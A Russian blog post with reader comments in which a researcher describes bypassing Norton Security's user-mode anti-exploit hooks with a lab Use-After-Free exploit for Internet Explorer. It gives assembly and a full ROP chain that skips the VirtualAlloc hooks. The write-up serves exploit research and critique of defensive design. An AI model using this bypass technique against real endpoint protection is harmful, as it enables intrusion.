Как не надо делать защиту от эксплойтов на примере Norton Security

    Зимним вечером придя с работы, захотелось мне проверить работоспособность своей старой лабы (2012 года) на тему эксплуатации Use-After-Free в ActiveX под Internet Explorer . Собственно на новом ноуте у меня была Windows 10, и последний IE со всеми этими вашими isolated heap и тд. И вот я запустил свой сплойт, как вдруг вышел облом от туда, откуда не ждали, на новом ноуте у меня стоял Norton Security, который пафосно детектировал 0day и стопанул:



    Вечер обещал быть томным. предыдущий опыт работы с NextGen защитами подсказывал мне, что ребята из Symatec сделали все «дешево и быстро», а значит можно попробовать обойти эту защиту не сильно парясь. В общем, как показала практика, этот подход по защите от сплойтов ОЧЕНЬ типовой и обходится практически универсальным и единым методом. Другими словами, при детальном подходе к эксплойту — один и тот же код будет работать и против Norton Security и против других систем защиты, которые используют такой же механизм обороны (ну и конечно против систем, где защиты нет). Посмотрим же в чем «архитектурная» ошибка выбранного Symantec метода защиты…


    Что ж, открыв банку ТУТ МОЖЕТ БЫТЬ ВАША РЕКЛАМА, я решил что одному дебажить это дело будет скучно, я уже примерно делал похожее до этого и знал что могу ожидать, хотя наверняка не знал… Но все же решил заодно протестить возможности «коллективного» угара в твиче, в итоге завел стрим, где я и мои товарищи из Defcon Russia начали «хакать» это дело. В итоге было медленнее, но веселее. Но перейдем к телу.

    Запустив эксплойт из лабы несколько раз, подтвердилась моя догадка: Norton ставит ring3 хуки на «критичные» функции. В нашем случае, такая функция оказалась вызвана в ROP шелкоде: VirtualAlloc. ROP шеллкод всего лишь делал текущую страницу памяти исполняемой, собственно для этого он и вызывал VirtualProtect. Хук поставленный Norton дерзко вклинивался в пролог функции (трамплин) и перехватывал управление, где делал некие «магические» проверки. Если все ок, то хук возвращал управление, если же он заподозрил зло, то алерт, исключительная ситуация и мы попались (как на скриншоте). Этот метод защиты, как я писал выше, применяется не только Norton и другими ИБ вендорами, поэтому обсудим разные стратегии обхода:

    1) Обмануть логику «магической проверки»
    2) Перепрыгнуть хук и проверку

    Первая стратегия подразумевает, что мы «знаем» в чем стостоит «магия», что именно проверяется и подсовываем то, что нужно и куда нужно, что бы убедить защиту, что все ОК. В данном случае, ребята из Defcon группы, во время стрима точно мне подсказали, в чем состоит магия — Norton в каждый стек фрейм всовывает «секретную печеньку», cookie. Когда же вызвается VirtualProtect, VirtualAlloc и даже WinExec, хук перехватывает управление и проверяет текущий стек, то есть эту самую куку. Так как во время эксплуатации Use-After-Free наш эксплойт делал так называемый Stack Pivot — смена текущего стек фрейма, на тот, что контролирует атакующий, в нашем случае это страница сгенерированная Heap Spray с ROP, то, конечно, оказывалось что этих кук не было в нашем случае. Отсюда и алерт. Обойти эту проверку можно разными способами:

    Стратегия 1: Скопировать ROPом куки из оригинального стека, в новый
    Стратегия 2: Скопировать ROP шеллкод в оригинальный стек, и вернуть ESP обратно

    Этот метод хорош и прост, но есть один недостаток — он не так универсален, и работает только против конкретно этой проверки. Поэтому я решил тут сконцентрироваться на втором методе.

    Второй метод еще проще — нам не надо думать о логике проверок и тд и тп, все что нам надо это «перепрыгнуть» трамплин с хуком, а значит и всю проверку. Недостатки этого метода так же очевидны — на разных ветках ОС, трамплины, а значит хуки будут разными. Я имею ввиду то, что хук на Windows 7 и хук на Windows 10 выглядят по разному (в Win10 имплементация VirtualAlloc уже в kernelbase.dll). Это значит, что в идеале, перед выдачей эксплойта, система (фронт енд) должна определять ОС — Windows 7, Windows 8.1 или Windows 10 и выдавать нужную версию сплойта. Но такой метод универсальнее, так как не важно есть ли Norton или же там есть другой хук — от другого вендора (или даже если хука нет). Так как конкретно в моем случае был Windows 10, то разберем то что было у меня, так вот выглядит хуки на VirtualProtect:



    Тут у нас есть указатель VirtualAlloc ведет на враппер в kernel32.dll, там первый хук, а уже второй хук непосредственно в kernelbase.dll. Это значит, что в версии под Win10 надо перепрыгнуть сразу два хука. Мы можем сделать это в ROP: по сути мы читаем указатель на VirtalAlloc из IAT, далее по статическому смещению с этого указателя, читаем уже указатель на VirtualAlloc в kernelbase.dll (это для Win10, в Win7 достаточно первого указателя). После чего добавляем к адресу смещение, что бы перепрыгнуть второй хук, и уже туда передаем вызов. И не забываем заранее подогнать значение EBP так, что бы на момент этого вызова он был равен ESP. По сути нужен следущий код ESI указывает на VirtualAlloc:

           mov eax, [esi + 8]   ; читаем точный указатель на kernelbase.virtualalloc 
           mov eax, [eax]        ; читаем как указатель
           add eax, 5              ; меняем указатель так, что бы перепрыгнуть второй хук (на push ecx) 
           push ebp                ; увеличиваем ESP (выравниваем стек)
           mov ebp, esp          ; заносим в EBP текущий указатель на стек

    Но это хорошо для обычного шеллкода (который мы все равно имеем уже после того, как выполним ROP), но пока мы не сделали страницу исполняемой, нам надо сделать те же действия, но в ROP. В общем 3 часа стрима были посвящены именно созданию такой ROP программы и в результате мы получили, что хотели — рабочую версию ROP шеллкода, который вызывал VirtualAlloc стабильно, и не генерировал ошибки и алерта.

    Но это не все, после этого мы имеем обычный шеллкод, который запускает некий файл (пусть калькулятор). На момент вызова WinExec или CreateProcess мы так же должно обойти хуки. Сделать это можно таким же методом, но для разнообразия демонстрации, я решил применить уже первую стратегию, и просто обмануть чек переключив ESP на старый, оригинальный фрейм, так как больше мы не нуждаемся в ROP. Отсюда вся стратегия и то, что у нас получилось выглядит так:

    1) начало атаки, сразу после stack pivot. Указатель на старый стек фрейм у нас в EDI
    2) Сразу сосчитаем занчение EBP, что бы на момент вызова VirtualAlloc он был эквивалентен ESP. Мы можем это посчитать заранее, так как знаем как сдвинется указатель на стек.

    >0x5bf2b484 :  # POP EAX # RETN 
    >204        :  # offset to EBP
    >0x5be63cd8 :  # PUSH ESP # POP EBP # RETN 04 
    >0x5bf014a9 :  # XCHG EAX,EBP # RETN
    >0x90909090 :  # TRASH
    >0x5bf08c87 :  # ADD EAX,EBP # RETN 
    >0x5bf014a9 :  # XCHG EAX,EBP # RETN

    3) Теперь сосчитаем указатель на VirtuallAlloc в kernelbase, сразу после всех хуков

    # EAX = kernelbase.virtalloc + offset_over_the_hook
    
    >0x5bee1907 :  # POP ECX # RETN [npexploitMe.dll] 
    >0x5bf32114 :  # ptr to &VirtualAlloc() [IAT npexploitMe.dll]
    >0x5bed6fb0 :  # MOV EAX,DWORD PTR DS:[ECX] # RETN [npexploitMe.dll]
    >0x5bedba6d :  # ADD EAX,8 # RETN 
    >0x5be629f9 :  # MOV EAX,DWORD PTR DS:[EAX] # RETN
    >0x5be629f9 :  # MOV EAX,DWORD PTR DS:[EAX] # RETN
    >0x5bee809a :  # INC EAX # RETN
    >0x5bee809a :  # INC EAX # RETN
    >0x5bee809a :  # INC EAX # RETN
    >0x5bee809a :  # INC EAX # RETN
    >0x5bee809a :  # INC EAX # RETN   

    4) Собственно подготовим параметры для VirtualAlloc (VA)

    >0x5bf20010  :  # XCHG EAX,ESI # RETN ; save VA in ESI
    >0x5be8936f  :  # XOR EAX,EAX # RETN 
    >0x5bf08c87  :  # ADD EAX,EBP # RETN  ; EAX=EBP
    >0x5bed87dd  :  # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN 
                         ; EDX = EBP, pointer to place where we want to store our VA parameters
    >0x11223344  :  # trash to esi
    >0x5bf20010  :  # XCHG EAX,ESI # RETN ; save VA in ESI
    >0x5be98313  :  # MOV EAX,ESI # RETN  
    >0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; save VA call address (1)
    >0x5bec1806  :  # INC EDX # RETN 
    >0x5bec1806  :  # INC EDX # RETN 
    >0x5bec1806  :  # INC EDX # RETN 
    >0x5bec1806  :  # INC EDX # RETN ; DWORD* pointer++
    >0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; not needed, new EBP (2)
    >0x5bec1806  :  # INC EDX # RETN 
    >0x5bec1806  :  # INC EDX # RETN 
    >0x5bec1806  :  # INC EDX # RETN 
    >0x5bec1806  :  # INC EDX # RETN 
    >0x5bf2b484  :  # POP EAX # RETN ; put return address after VA call int EAX    
    >0x5be63ce2  :  # PUSH ESP # RETN ; this will be executed after VA (goes to EAX right now)
    >0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; Retuen address (3)
    >0x5bec1806  :  # INC EDX # RETN 
    >0x5bec1806  :  # INC EDX # RETN 
    >0x5bec1806  :  # INC EDX # RETN 
    >0x5bec1806  :  # INC EDX # RETN 
    >0x5be8936f  :  # XOR EAX,EAX # RETN 
    >0x5bf08c87  :  # ADD EAX,EBP # RETN  ; EAX=EBP
    >0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; pointer to page (4)
    >0x5bef49e2  :  # INC EBP # RETN
    >0x5bef49e2  :  # INC EBP # RETN
    >0x5bef49e2  :  # INC EBP # RETN
    >0x5bef49e2  :  # INC EBP # RETN ;fixing EBP, so now it is equal to ESP, prologue restored...
    >0x5bee809b  :  # RETN 
    >0x11111111  :  # This will be overwritten by (1)
    >0x22222222  :  # This will be overwritten by (2)
    >0x22222222  :  # Retuen address after VA call, will be overwritten by (3)
    >0x33333333  :  # First VA parameter - pointer, overwrittem by (4)
    >0x00000001  :  # Second VA parameter: size       
    >0x00001000  :  # Third VA parameter: AllocationType = MEM_COMMIT            
    >0x00000040  :  # Last VA parameter: R_X    

    И вместо выводов: использование хуков в ring3, для защиты от эксплойтов или вредоноса — не очень хорошая идея, именно потому что борьба идет «на равных», и атакующий имеет те же возможности и права, но может действовать «не стандартно» используя ROP и обычный shellocde, программируя свою Wierd Machine. В нашем случае, разработчик считает, что вызов функции это вызов по указателю из IAT, и ring3 хук «сойдет» (еще раз добавлю, что не один Norton так делает, даже некоторые хваленные NextGen так обходятся). Конечно, против типовых и стандартных эксплойтов и эта защита сработает и лучше такая, чем ничего. Тем не менее эту защиту можно обойти и притом легко. Сами же методы обхода, довольно универсальны и практичны.

    Кроме того ring3 хуки несут множество других проблем, в том числе и ПОМОГАЯ обойти уже существующие защиты.

    В конечном счете, ring0 хук был бы лучше, по крайне мере против «стратегии номер 2». За сим все. gg bb hf

    UPD: Ссылка на твич: https://www.twitch.tv/defconrussia
    К сожалению 6ти часова архивная запись этого действа уже «удалилась», так что канал сейчас пустой, но скоро мы возобновим стримы на разные темы связанные с ИБ, анонсы на сайте и в гугл группе.
    Поделиться публикацией
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама
    Комментарии 26
    • +3
      Интересная у вас работа :)
      • +4
        Спасибо, сам доволен. Хотя конкретно этот эпизод, скорее «хобби».
      • –26
        Почему статьи хакеров-взломщиков банковских систем публикуются на Хабре?
        • +19
          Так у меня аккаунт на хабре, я взял и сам опубликовал, но банки тут не причем совсем. И вроде себя к «хакерам-взломщикам банковских систем» не отношу, хотя бывало сливал номера PAN через SQLi в прошлом и RCE мутили. А однажды даж через банальный XSS делал PoC для обхода токена подписи (MiTB атака, развод оператора)… с банками было много чего веселого (я уже молчу про море багов в ActiveX или там integer overflow в Inter-PRO), но давно уже не интерисуюсь этой темой, но баек много имею… ;)

          На вопрос про хабр — видимо это интересно некоторой группе ИТ, в этом и причина… тут есть хаб ИБ, и такие темы время от времени тут публикуют, что бы другие могли почитать и получить (надеюсь) удовольствие или даж пользу.
          • –3
            Скорей бы тебя посадили в тюрьму.
            • +1
              Ого. Это довольно сильное и эмоциональное замечание. Но можно узнать, за что и зачем?
              • –2
                За что: за взлом.
                Зачем: для исправления.
                Конечно, если Вы как истинный хакер находите дыры и отправляете информацию разработчику (в данном случае банку), то этого не требуется, но тогда и оснований для публикации вроде бы нет. Поправьте меня, если я не прав.
                • 0
                  Взлом — довольно понятие, чисто юридически. У нас есть статья, про неправомерный доступ, и во всех моих публикациях ее сложно применить. Есть статья за создание вредоносов — тут, конечно, все сложно. Но я считаю, что основным моментом должен быть «состав преступления», и тут его нигде нет. То есть я никого не ломаю, а если где-то нахожу дыру, которая на мой взгляд критична и опасна для пользователей, то, обычно, сообщаю об этом вендору, и никогда не использую «для себя» с ущербом для других честных людей. Просто потому что не интересно и не мое.

                  Что касается поиска дыр или слабых мест в софте, как, например тут, то я не вижу смысл сообщать вендору (Симантеку), так как лень и на мой взгляд это не стоит усилий.

                  Про банки — все эти истории были в прошлом, когда банк сам «меня» нанимал, когда я работал в Digital Security. То есть все взломы заказаны самими банками ;) До этого же, я тож немножко совсем ломал СОФТ для банков, и абсолютно без задней мысли, и без попрошайничества «баунти» отдавал вендорам баги просто так: BSS, Inist, R-Style. BSS мне вот подраили iPhone в 2009 за это. Остальные звали на собеседование ;) Никто, никогда негативно не относился. Один раз в XXXX-XXX, тех-деректор затупил, так как я хотел diclosure (ПиАра для DSEC), но там все равно сложный случай был… но затуп был прикольный, так как тех. директор не понял фразы «выполнение произвольного кода при переполнении буфера». Ответила она примерно так «Как можно выполнить произвольный код в нашем софте, если там есть только код нашего приложения, а произвольный-то откуда возьмется?»

                  Таким образом, я, надеюсь, развеял Ваши сомнения, по поводу моего криминального прошлого и настоящего. Конечно, я не буду врать и говорить, что в детстве не шалил или не использовал какие то «взломы» ради фана, но и тогда никто, никогда не страдал ни финансово ни (почти) морально 8)
                  Так что Мир! Дружба! Май!
                  • 0
                    Я немного напрягся после фразы «и никогда не использую «для себя» с ущербом для других честных людей. Просто потому что не интересно и не мое.»
                    Вы как законопослушный гражданин должны были сказать, просто потому что это несправедливо и наказуемо. Пожалуйста, сообщите вендору о найденной дыре в его программе. Я сам лично программист (даже начальник отдела программистов), и я на такое сообщение обязательно отреагирую и ещё выплачу Вам вознаграждение.
                    Моя личная рекомендация: легализуйтесь и жизнь у Вас наладится. После Вашей легализации мы просто не сможем увидеть Ваши подвиги в виде статей на Хабре. Оно и к лучшему.
                    • 0
                      Ну вот, есть проблема — я не ДОЛЖЕН. Я потратил свое время, и согласно моей моральной установки «не навреди пользователям/гражданским» считаю, что сделал минимально полезное дело. Я довел до «общественности» информацию о проблеме, думаю ребята из Нортон, если заинтересованны, то уже давно прочитали мой корявый английский блог, и сделали выводы. Но сам я не должен искать их секурити и пытаться их в чем-то убедить, особенно из-за такой мелочи как обход хука.

                      Но были вещи и посерьезней, когда я решил, что не буду связываться-искать чью-то секурити команду, а просто промолчу (например SQLi в госзакупках Питерских или SQLi в сайте министерства оборона одной республики), в других случая я выкидывал инфу в FullDisclosure, и тогда фуллдисклоз помогал конкретно быстрее зафиксить проблемы, чем если бы я уведомлял так, например проблемы в JIT Safari или конкретные JIT-Spray PoC в ActionScript, пока это было в теории и в привате — никто не хотел фиксить). Но были и вещи, когда я без всякой корысти говорил о багах в сервисах, через которые, например, ломали Apple/Sony — https://habrahabr.ru/post/188222/.
                      В целом же я поддерживаю #NoMoreFreeBugs для корпораций (https://threatpost.com/no-more-free-bugs-software-vendors-032309/72484/). Но все зависит от конкретного случая — кто разработчик, какой продукт, кто пользуется, какая политика. В ОпенСорс проектах я уже по другому буду себя вести.

                      Что касается вознаграждений, то я сам всегда даю вознаграждения, за секурити-баг репорты: https://defcon-russia.ru/history/15/Nokia_reward_recognition.pdf (слайд 18, например… из работ прошлого, многие тут на Хабре получали от нас подарки). Сейчас тож активно поддерживаю тех, кто спонсирует нас багами, даже если официальное программы нет. Но не стоит путать теплое и мягкое.

                      А так я вполне легален и жизнь у меня налажена, спасибо 8)
        • +5
          Прочел и навеяло…
          Вспоминаю себя лет 18, а то и 20 тому, когда мне еще была интересна подобная академическая деятельность и я мог часами и сутками что-то отлаживать, дизассемблировать и т.п., в общем кодить и взламывать.
          А ведь тогда не то что интернетов не было, тогда Windows NT встречался один на тысячи машин, а остальные работали в лучшем случае на вин95. Тогда вся моя информация о полиморфных вирусах исчерпывалась парочкой изученных вдоль и поперек экземпляров, в PM практически никто еще не работал, никаких DEP и ASLR еще и в проекте не было ии… Ну в общем было огромное, прям таки непаханное поле в этой области.
          Блин, ну почему интернет не придумали лет на 20 раньше???
          Прошу прощения за явный оффтоп, но я действительно сожалею об этом.
          • +1
            Так и нынче «не паханное». Особенно если взглянуть на АСУ ТП системы, IoT или Аутомотив — там до сих пор, много где, нет NX/ASLR…
            • +4

              Поле-то осталось, да годы ушли. :-) ( А вместе с ними и интерес к теме.) Я понял так, что основное сожаление автора комментария именно об этом.

          • +1
            А можно попросить ссылку на Ваш твич? Чтобы была возможно понаблюдать за подобным в живую. Ну и возможно, там сохранилась видеозапись этого стрима?
            • +1
              Ссылку на твич можно? :)
              • +1
                А проверялась ли работоспособность метода против того же последнего EMET? Все-таки он, как минимум, хукает не настолько в лоб, как нортон.
                • 0
                  Нет, не проверялось. Причин несколько: ЕМЕТ бесплатен, и мучать его не так мило. Вторая — его не поддерживают более, продукт RIP. Ну и третья — это Ad-Hoc стрим был, «заметил, проверил, победил» онлайн, а не целенаправленный ресерч против Симантека или АВ индустрии в целом.
                  • 0
                    Просто по тем данным, что приведены в статье, мне кажется, что у Нортона эти проверки сделаны уж очень халтурно. EMET, конечно, бесплатен, но сделан гораздо интереснее (если что, как работает EMET я как рах интересовался, утверждение не с потолка делаю :) ). При этом многие идеи из EMET используются в других продуктах.
                    Нортон просто не слишком показателен в качестве next-gen защиты.
                    • 0
                      Это и не про NexGen, хотя повторюсь, что точно так-же видел и обходил такие хуки в NetGen, но там NDA 8) Тут я просто наткнулся на своем лэптопе на триал Нортона и увидел, что он «тоже могёт!», и далее мы в режиме стрима прям на ходу это все ломали. ТО есть это не спецом «ресерч», а именно фан ради стрима.

                      про EMET — хороший продукт (бесплатный и от вендора ОС) и он использует МНОГО разных техник, но так или иначе EMET обходили довольно регулярно. Вот из последнего и про хуки: https://www.xorlab.com/blog/2016/10/27/emet-memprot-bypass/ (стратегия 'Обмануть логику «магической проверки»' )
                      • 0
                        И это вполне себе не только «лаба и стримы для задротов», вот как бы ребята реально по живому режут: https://www.fireeye.com/blog/threat-research/2016/06/angler_exploit_kite.html
                        • +1
                          Не, я не говорю про то, что emet — панацея.
                          Ссылок на вещи, которые он не контролирует, я тоже могу накидать, как и попытаться прокомментировать, что можно сделать лучше. )
                          Меня просто исходно удивил выбор Нортона в качестве цели, поскольку я не видел его упоминаний в качестве примера чего-то хорошего в плане next-gen
                          • 0
                            не спорю, но почему жребий пал выпал именно на Нортонн я описал. И потом, это не про Нортон, как вендор, а про чисто архитектуру «давайте ринг3 хуки делать». Это не только Нортон, и про NexGen я писал тут, хоть и на кривом английском и без имен: https://asintsov.blogspot.de/2017/02/how-i-have-tested-endpointprotection.html Тут вышло 2 из 5 страдали такой же проблемой как и Нортон. Значит проблема ТИПОВАЯ, о чем я собственно и решил написать, просто на примере Нортона, так как он случайно попался под руку. Ну и ссылку от Cylance я тож привел, там так же есть упоминания этой проблемы с конкретными именами: https://2016.zeronights.ru/wp-
                            content/uploads/2016/12/You%E2%80%99re-Off-the-Hook.pdf
                            • 0
                              ring3-хуки — зло. Но без них получается еще хуже. Особенно на версиях windows ниже десятки, и для домашних пользователей.
                              Антиэксплойты различных вендоров хотя бы затрудняют работу атакующего. Учитывая засилие копи-пасты в современном ВПО, это может оказаться существенным.
                              • 0
                                ring0 хуки лучше в этом плане.

                                • +1
                                  x64? Борьба с PatchGuard?
                                  В невредоносном ПО — не вариант, MS обидится
                                  • 0
                                    Да, с хуками в ядре ТЕПЕРЬ больше проблем, особенно в вин10 8))

                  Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.